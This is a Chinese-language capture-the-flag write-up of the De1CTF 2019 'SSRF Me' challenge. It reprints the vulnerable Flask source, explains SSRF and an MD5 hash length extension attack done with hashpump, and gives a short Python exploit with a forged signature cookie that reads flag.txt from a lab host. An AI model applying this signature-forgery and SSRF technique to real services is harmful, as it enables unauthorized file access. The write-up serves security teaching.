[De1CTF 2019]SSRF Me 1

[De1CTF 2019]SSRF Me 1

SSRF概述

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。

打开题目得到：

是flash的网站源码
整理得到：

#! /usr/bin/env python #encoding=utf-8 
from flask import Flask 
from flask import request 
import socket 
import hashlib 
import urllib 
import sys 
import os 
import json 
reload(sys) 
sys.setdefaultencoding('latin1') 
app = Flask(__name__) 
secert_key = os.urandom(16) 
class Task: 
    def __init__(self, action, param, sign, ip): 
        self.action = action 
        self.param = param 
        self.sign = sign 
        self.sandbox = md5(ip) 
        if(not os.path.exists(self.sandbox)): 
            #SandBox For Remote_Addr 
            os.mkdir(self.sandbox) 



    def Exec(self): 
        result = {} 
        result['code'] = 500 
        if (self.checkSign()): 
            if "scan" in self.action: 
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w') 
                resp = scan(self.param) 
                if (resp == "Connection Timeout"): 
                    result['data'] = resp 
                else: 
                    print (resp) 
                    tmpfile.write(resp) 
                    tmpfile.close() 
                    result['code'] = 200 


                if "read" in self.action: 
                    f = open("./%s/result.txt" % self.sandbox, 'r') 
                    result['code'] = 200 
                    result['data'] = f.read() 


                if result['code'] == 500: 
                    result['data'] = "Action Error" 


            else: 
                result['code'] = 500 
                result['msg'] = "Sign Error" 
            return result 



def checkSign(self): 
    if (getSign(self.action, self.param) == self.sign): 
        return True 
    else: 
        return False 



#generate Sign For Action Scan. 


@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) 
    action = "scan" 
    return getSign(action, param) 





@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action")) 
    param = urllib.unquote(request.args.get("param", "")) 
    sign = urllib.unquote(request.cookies.get("sign")) 
    ip = request.remote_addr 
    if(waf(param)): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) 
    return json.dumps(task.Exec()) 



    
@app.route('/') 
def index(): 
    return open("code.txt","r").read() 





def scan(param): 
    socket.setdefaulttimeout(1) 
    try: 
        return urllib.urlopen(param).read()[:50] 
    except: 
        return "Connection Timeout" 



            
def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest() 
    
def md5(content): 
    return hashlib.md5(content).hexdigest() 
    
def waf(param): 
    check=param.strip().lower() 
    if check.startswith("gopher") or check.startswith("file"): 
        return True 
    else: 
        return False 
        
        
if __name__ == '__main__': 
    app.debug = False 
    app.run(host='0.0.0.0',port=80) 

发现有三个路由分别是：

/geneSign

@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) 
    action = "scan" 
    return getSign(action, param) 

用于生产签名，通过调用getSign函数

/De1ta

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action")) 
    param = urllib.unquote(request.args.get("param", "")) 
    sign = urllib.unquote(request.cookies.get("sign")) 
    ip = request.remote_addr 
    if(waf(param)): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) 
    return json.dumps(task.Exec()) 

获取cookie的action,sign和get的param值，param值要通过waf验证,调用task类，并调用Exec方法，最后以json形式返回结果。

/

@app.route('/') 
def index(): 
    return open("code.txt","r").read() 

获取首页源码

getSign函数

def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest() 

将secert_key 、 param 和 action拼接在一起，返回MD5加密的结果

waf函数

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

找到以gopher或file开头的，结合上面的路由即是将这两个协议过滤掉了

在看Exec方法，判断action里是否有scan，如果有的话则将scan读到的内容写进result.txt；如果read在action里，则将result.txt的内容读出来。

分析完代码我们发现getSign默认只生成action为scan的签名，我们可以利用将flag.txt的内容读到result.txt里，如果我们想要将result.txt的内容读出来则需要伪造一个action为read的签名

我们可以利用哈希长度扩展攻来构造签名

哈希长度扩展攻：
参考博客：
https://www.cnblogs.com/ProbeN1/p/14875284.html

首先访问:/geneSign
获取签名

又因为：secert_key + ‘flag.txt’ 的长度为24

所有利用hashpump

获取sign和action:

在把\x替换为%

去/De1ta请求获取flag.txt文件

python编写的exp:

import requests
url = 'http://4d51d38b-7a93-4588-9dbb-7c72b2440ab1.node4.buuoj.cn:81/De1ta?param=flag.txt'
cookies = {
  'sign': 'b7becf4708254321e2a01148321a70ae',
  'action': "scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"
  }


res = requests.get(url=url, cookies=cookies)
print(res.text)

得到flag:

参考博客：
https://blog.csdn.net/weixin_44677409/article/details/99412885